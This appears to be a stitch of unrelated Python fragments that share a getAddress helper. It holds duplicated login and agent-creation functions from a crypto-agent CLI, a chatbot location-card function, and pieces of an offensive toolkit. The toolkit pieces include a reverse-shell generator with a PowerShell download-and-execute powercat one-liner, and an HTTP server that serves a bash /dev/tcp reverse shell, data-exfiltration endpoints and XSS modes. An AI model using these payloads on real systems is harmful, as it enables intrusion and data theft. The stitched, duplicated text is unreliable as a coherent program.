def commandAdd(self, command): """ Add a new agent display the address and balance add the agent to the profiles """ if len(command) < 2: self.writeConsole('You need to supply a seed value') return self.agentSeed = command[1] util.getAgent(self) util.getAddress(self) util.initialTip(self) util.getBalance(self) self.agentNick = util.getNick(self, self.agentAddress) conn = sqlite3.connect('coinflow.db') c = conn.cursor() c.execute('select id from profiles where seed=?;', (command[1], )) id = c.fetchone() if id is None: c.execute('insert into profiles (nick, seed) values (?,?);', (str(self.agentNick), str(self.agentSeed))) else: c.execute('update profiles set nick=? where seed=?;', (str(self.agentNick), str(self.agentSeed))) conn.commit() conn.close() self.writeConsole('Agent created.\nAddress is ' + str(self.agentAddress) + '\nBalance is ' + str(self.agentBalance)) #check for new nicknames if util.pollAllPosts(self): util.checkNewNicks(self) #self.poll() return
def commandAdd(self, command): """ Add a new agent display the address and balance add the agent to the profiles """ if len(command) < 2: self.writeConsole('You need to supply a seed value') return self.agentSeed = command[1] util.getAgent(self) util.getAddress(self) util.initialTip(self) util.getBalance(self) self.agentNick = util.getNick(self, self.agentAddress) conn = sqlite3.connect('coinflow.db') c = conn.cursor() c.execute('select id from profiles where seed=?;', (command[1],)) id = c.fetchone() if id is None: c.execute('insert into profiles (nick, seed) values (?,?);', (str(self.agentNick), str(self.agentSeed))) else: c.execute('update profiles set nick=? where seed=?;', (str(self.agentNick), str(self.agentSeed))) conn.commit() conn.close() self.writeConsole('Agent created.\nAddress is ' + str(self.agentAddress) + '\nBalance is ' + str(self.agentBalance)) #check for new nicknames if util.pollAllPosts(self): util.checkNewNicks(self) #self.poll() return
def commandLogin(self, command): """ Login as an existing agent can login using nick, address or seed. display the nickname (if present), address and balance check profiles and update or insert """ if len(command) < 2: self.writeConsole( 'You need to supply some detail for the agent you want to login as.\nCould be the agents nickname, address or seed' ) return seed = util.getSeedFromNick(command[1]) if seed is False: self.agentSeed = command[1] else: self.agentSeed = seed util.getAgent(self) util.getAddress(self) util.getBalance(self) self.agentNick = util.getNick(self, self.agentAddress) conn = sqlite3.connect('coinflow.db') c = conn.cursor() c.execute('select id from profiles where seed=?;', (str(self.agentSeed), )) id = c.fetchone() if id is None: c.execute('insert into profiles (nick, seed) values (?,?);', (str(self.agentNick), str(self.agentSeed))) else: c.execute('update profiles set nick=? where seed=?;', (str(self.agentNick), str(self.agentSeed))) conn.commit() conn.close() self.writeConsole(( ('Logged in as ' + str(self.agentNick)) if len(self.agentNick) > 0 else ('Logged in')) + '.\nAddress is ' + str(self.agentAddress) + '\nBalance is ' + str(self.agentBalance)) #check for new nicknames if util.pollAllPosts(self): util.checkNewNicks(self) #check for new posts from follows if util.pollFollowsPosts(self): util.displayFollowsPosts(self) #self.poll() return
def commandLogin(self, command): """ Login as an existing agent can login using nick, address or seed. display the nickname (if present), address and balance check profiles and update or insert """ if len(command) < 2: self.writeConsole('You need to supply some detail for the agent you want to login as.\nCould be the agents nickname, address or seed') return seed = util.getSeedFromNick(command[1]) if seed is False: self.agentSeed = command[1] else: self.agentSeed = seed util.getAgent(self) util.getAddress(self) util.getBalance(self) self.agentNick = util.getNick(self, self.agentAddress) conn = sqlite3.connect('coinflow.db') c = conn.cursor() c.execute('select id from profiles where seed=?;', (str(self.agentSeed),)) id = c.fetchone() if id is None: c.execute('insert into profiles (nick, seed) values (?,?);', (str(self.agentNick), str(self.agentSeed))) else: c.execute('update profiles set nick=? where seed=?;', (str(self.agentNick), str(self.agentSeed))) conn.commit() conn.close() self.writeConsole((('Logged in as ' + str(self.agentNick)) if len(self.agentNick) > 0 else ('Logged in')) + '.\nAddress is ' + str(self.agentAddress) + '\nBalance is ' + str(self.agentBalance)) #check for new nicknames if util.pollAllPosts(self): util.checkNewNicks(self) #check for new posts from follows if util.pollFollowsPosts(self): util.displayFollowsPosts(self) #self.poll() return
def locationNameAddress(): global uuid global categoryDescription global loc_prop if "How to get there" in loc_prop: loc_prop.remove("How to get there") Address = util.getAddress(cat_description[categoryDescription], uuid) desc = "Its located at \n" + Address img = util.getImageUrl(cat_description[categoryDescription], uuid) name = loc_dict[loc_dict["uuid"] == uuid]["name"].iloc[0] image = response.image(img[random.randint(0, len(img) - 1)], name) txt2 = "Would you like to see places nearby?" #lat = loc_dict[loc_dict["uuid"]==uuid]["lat"].iloc[0] #lng = loc_dict[loc_dict["uuid"]==uuid]["lng"].iloc[0] #w = weather.getWeather(lat,lng) #sug = ["Places near by"] url = util.getWebsite(cat_description[categoryDescription], uuid) button = response.buttons("Visit Them", url) card = response.createCard(name, desc, image, button) resp = response.responseCard("Below are the Address and Site details", txt2, card) print(resp) return resp
return "xterm -display %s:1" % (local_address) elif type == "powercat" or type == "powershell": return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % ( local_address, local_address, port) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: %s <type> [port]" % sys.argv[0]) exit(1) listen_port = None if len(sys.argv) < 3 else int(sys.argv[2]) payload_type = sys.argv[1].lower() local_address = util.getAddress() # choose random port if listen_port is None: sock = util.openServer(local_address) if not sock: exit(1) listen_port = sock.getsockname()[1] sock.close() payload = generatePayload(payload_type, local_address, listen_port) if payload is None: print("Unknown payload type: %s" % payload_type) print( "Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell"
self.has_exited = False while self.is_running: self.handle_request() self.has_exited = True if __name__ == "__main__": if len(sys.argv) < 2 or sys.argv[1] not in [ "shell", "dump", "proxy", "xss" ]: print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0]) exit(1) httpPort = 80 fileServer = HttpFileServer("0.0.0.0", httpPort) ipAddress = util.getAddress() if sys.argv[1] == "shell": listenPort = 4444 if len(sys.argv) < 3 else int(sys.argv[2]) rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort) fileServer.addFile("shell.sh", rev_shell) print("Reverse Shell URL: http://%s/shell.sh" % ipAddress) elif sys.argv[1] == "dump": fileServer.dumpRequest("/") print("Exfiltrate data using: http://%s/" % ipAddress) elif sys.argv[1] == "proxy": url = "https://google.com" if len(sys.argv) < 3 else sys.argv[2] fileServer.forwardRequest("/proxy", url) print("Exfiltrate data using: http://%s/proxy" % ipAddress) elif sys.argv[1] == "xss": type = "img" if len(sys.argv) < 3 else sys.argv[2]